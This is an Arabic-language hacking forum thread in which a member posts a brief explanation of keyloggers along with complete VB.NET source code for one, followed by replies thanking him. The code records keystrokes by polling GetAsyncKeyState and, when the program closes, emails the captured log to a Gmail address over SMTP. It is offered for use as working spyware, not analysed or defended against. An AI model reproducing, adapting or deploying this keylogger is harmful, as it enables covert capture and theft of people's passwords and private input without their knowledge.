1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. GhOst Al iraqi
    DeveloPer Plus

    عضو منذ:
    ‏29 يوليو 2015
    عدد المشاركات:
    96
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    السلام عليكم ورحمه الله وبركاته
    بعد غياب طويل عدنا من جديد بشرح بسيط وهوه
    مفهوم الكي لوجر
    لتعمق فيه
    مصدر - wikipedia
    http://cutt.us/ghostghostghost
    --------------
    شرح بسيط وتطبيق على vb.net -
    https://www.youtube.com/watch?v=cLYY1heiEQI&feature=youtu.be

    بالنسبة للسورس

    ========================

    كود:
    Imports System.Net.Mail
     Public Class Form1
         Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
         Public log As String
         Public ghost As String
         Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
             Timer1.Start()
         End Sub
      
         Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
             If (GetAsyncKeyState(65)) Then
                 log = log + "A"
             ElseIf (GetAsyncKeyState(66)) Then
                 log = log + "B"
             ElseIf (GetAsyncKeyState(67)) Then
                 log = log + "C"
             ElseIf (GetAsyncKeyState(68)) Then
                 log = log + "D"
             ElseIf (GetAsyncKeyState(69)) Then
                 log = log + "E"
             ElseIf (GetAsyncKeyState(70)) Then
                 log = log + "F"
             ElseIf (GetAsyncKeyState(71)) Then
                 log = log + "G"
             ElseIf (GetAsyncKeyState(72)) Then
                 log = log + "H"
             ElseIf (GetAsyncKeyState(73)) Then
                 log = log + "I"
             ElseIf (GetAsyncKeyState(74)) Then
                 log = log + "J"
             ElseIf (GetAsyncKeyState(75)) Then
                 log = log + "K"
             ElseIf (GetAsyncKeyState(76)) Then
                 log = log + "L"
             ElseIf (GetAsyncKeyState(77)) Then
                 log = log + "M"
             ElseIf (GetAsyncKeyState(78)) Then
                 log = log + "N"
             ElseIf (GetAsyncKeyState(79)) Then
                 log = log + "O"
             ElseIf (GetAsyncKeyState(80)) Then
                 log = log + "P"
             ElseIf (GetAsyncKeyState(81)) Then
                 log = log + "Q"
             ElseIf (GetAsyncKeyState(82)) Then
                 log = log + "R"
             ElseIf (GetAsyncKeyState(83)) Then
                 log = log + "S"
             ElseIf (GetAsyncKeyState(84)) Then
                 log = log + "T"
             ElseIf (GetAsyncKeyState(85)) Then
                 log = log + "U"
             ElseIf (GetAsyncKeyState(86)) Then
                 log = log + "V"
             ElseIf (GetAsyncKeyState(87)) Then
                 log = log + "W"
             ElseIf (GetAsyncKeyState(88)) Then
                 log = log + "X"
             ElseIf (GetAsyncKeyState(89)) Then
                 log = log + "Y"
             ElseIf (GetAsyncKeyState(90)) Then
                 log = log + "Z"
             ElseIf (GetAsyncKeyState(48)) Then
                 log = log + "0"
             ElseIf (GetAsyncKeyState(49)) Then
                 log = log + "1"
             ElseIf (GetAsyncKeyState(50)) Then
                 log = log + "2"
             ElseIf (GetAsyncKeyState(51)) Then
                 log = log + "3"
             ElseIf (GetAsyncKeyState(52)) Then
                 log = log + "4"
             ElseIf (GetAsyncKeyState(53)) Then
                 log = log + "5"
             ElseIf (GetAsyncKeyState(54)) Then
                 log = log + "6"
             ElseIf (GetAsyncKeyState(55)) Then
                 log = log + "7"
             ElseIf (GetAsyncKeyState(56)) Then
                 log = log + "8"
             ElseIf (GetAsyncKeyState(57)) Then
                 log = log + "9"
             ElseIf (GetAsyncKeyState(96)) Then
                 log = log + "{Num0}"
             ElseIf (GetAsyncKeyState(97)) Then
                 log = log + "{Num1}"
             ElseIf (GetAsyncKeyState(98)) Then
                 log = log + "{Num2}"
             ElseIf (GetAsyncKeyState(99)) Then
                 log = log + "{Num3}"
             ElseIf (GetAsyncKeyState(100)) Then
                 log = log + "{Num4}"
             ElseIf (GetAsyncKeyState(101)) Then
                 log = log + "{Num5}"
             ElseIf (GetAsyncKeyState(102)) Then
                 log = log + "{Num6}"
             ElseIf (GetAsyncKeyState(103)) Then
                 log = log + "{Num7}"
             ElseIf (GetAsyncKeyState(104)) Then
                 log = log + "{Num8}"
             ElseIf (GetAsyncKeyState(105)) Then
                 log = log + "{Num9}"
             ElseIf (GetAsyncKeyState(106)) Then
                 log = log + "{Num*}"
             ElseIf (GetAsyncKeyState(107)) Then
                 log = log + "{Num+}"
             ElseIf (GetAsyncKeyState(13)) Then
                 log = log + "{Enter}"
             ElseIf (GetAsyncKeyState(109)) Then
                 log = log + "{Num-}"
             ElseIf (GetAsyncKeyState(110)) Then
                 log = log + "{Num.}"
             ElseIf (GetAsyncKeyState(111)) Then
                 log = log + "{Num/}"
             ElseIf (GetAsyncKeyState(32)) Then
                 log = log + " "
             ElseIf (GetAsyncKeyState(8)) Then
                 log = log + "{Backspace}"
             ElseIf (GetAsyncKeyState(9)) Then
                 log = log + "{Tab}"
             ElseIf (GetAsyncKeyState(16)) Then
                 log = log + "{Shift}"
             ElseIf (GetAsyncKeyState(17)) Then
                 log = log + "{Control}"
             ElseIf (GetAsyncKeyState(20)) Then
                 log = log + "{Caps}"
             ElseIf (GetAsyncKeyState(27)) Then
                 log = log + "{Esc}"
             ElseIf (GetAsyncKeyState(33)) Then
                 log = log + "{PGup}"
             ElseIf (GetAsyncKeyState(34)) Then
                 log = log + "{PGdn}"
             ElseIf (GetAsyncKeyState(35)) Then
                 log = log + "{End}"
             ElseIf (GetAsyncKeyState(36)) Then
                 log = log + "{Home}"
             ElseIf (GetAsyncKeyState(37)) Then
                 log = log + "{LArrow}"
             ElseIf (GetAsyncKeyState(38)) Then
                 log = log + "{UArrow}"
             ElseIf (GetAsyncKeyState(39)) Then
                 log = log + "{RArrow}"
             ElseIf (GetAsyncKeyState(40)) Then
                 log = log + "{DArrow}"
             ElseIf (GetAsyncKeyState(45)) Then
                 log = log + "{Insert}"
             ElseIf (GetAsyncKeyState(46)) Then
                 log = log + "{Del}"
             ElseIf (GetAsyncKeyState(144)) Then
                 log = log + "{NumLock}"
             ElseIf (GetAsyncKeyState(188)) Then
                 log = log + "{,}"
             ElseIf (GetAsyncKeyState(1)) Then
                 log = log + "[L]"
             ElseIf (GetAsyncKeyState(2)) Then
                 log = log + "[R]"
             End If
         End Sub
      
         Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
             RichTextBox1.Text = log
         End Sub
      
         Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
             sendmail()
         End Sub
      
         Private Sub sendmail()
             Dim Mail As New MailMessage
             Mail.Subject = "Keylog"
             Mail.To.Add("...@gmail.com")
             Mail.From = New MailAddress("....@gmail.com")
             Mail.Body = log
             Dim SMTP As New SmtpClient("smtp.gmail.com")
             SMTP.EnableSsl = True
             SMTP.Credentials = New System.Net.NetworkCredential("....@gmail.com", "pass")
             SMTP.Port = "666"
             SMTP.Send(Mail)
         End Sub
      
         Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
             End
      
         End Sub
     End Class
    =================================

    في امان الله
     
    آخر تعديل بواسطة المشرف: ‏28 سبتمبر 2015
    جاري تحميل الصفحة...
  2. ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    681
    الإعجابات المتلقاة:
    725
    نقاط الجائزة:
    515
    الإقامة:
    sa
    نظام التشغيل:
    windows xp
    اللغة البرمجية:
    Java
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    كما تعودنا منك في كل جديد )4:"
     
  3. Mira Mrmr .::|| زهره منتدى عراق تيم ||::.
    V • I • P

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    644
    الإعجابات المتلقاة:
    132
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    [​IMG]عاشت ايدك على الشرح[​IMG]
     
  4. جـعـفـر الـشـمـري
    DeveloPer Plus

    عضو منذ:
    ‏26 أغسطس 2015
    عدد المشاركات:
    518
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    بارك الله بيك ^^
     
  5. اوجاع
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏28 سبتمبر 2015
    عدد المشاركات:
    179
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    مشكور يعطيكك العافيهه
     
  6. Mustafa Moshkela
    DeveloPer Plus

    عضو منذ:
    ‏6 نوفمبر 2014
    عدد المشاركات:
    213
    الإعجابات المتلقاة:
    11
    نقاط الجائزة:
    50
    الوظيفة:
    طالب
    نظام التشغيل:
    Linux
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    PHP
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك وردة {1!$1}​
     
  7. Boymoon
    rank
    Developer

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    45
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    الله يعطيك العافية
    ع طرح السورس
    جاري الاطلاع عليه
    ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.​
     
  8. Janet CHaldean مشرفه أقسام التصميم والجرافيكس
    V • I • P

    عضو منذ:
    ‏5 يناير 2015
    عدد المشاركات:
    492
    الإعجابات المتلقاة:
    1,237
    نقاط الجائزة:
    515
    الجنس:
    أنثى
    الوظيفة:
    Diplomacy
    الإقامة:
    Kingdom of Norway
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت الايادي
     
  9. A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    342
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك شرح رووعة

     
  10. Security ALqassem قراصنة القاسم
    Developer

    عضو منذ:
    ‏7 سبتمبر 2015
    عدد المشاركات:
    133
    الإعجابات المتلقاة:
    35
    نقاط الجائزة:
    75
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاااشت ايدك وردة
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...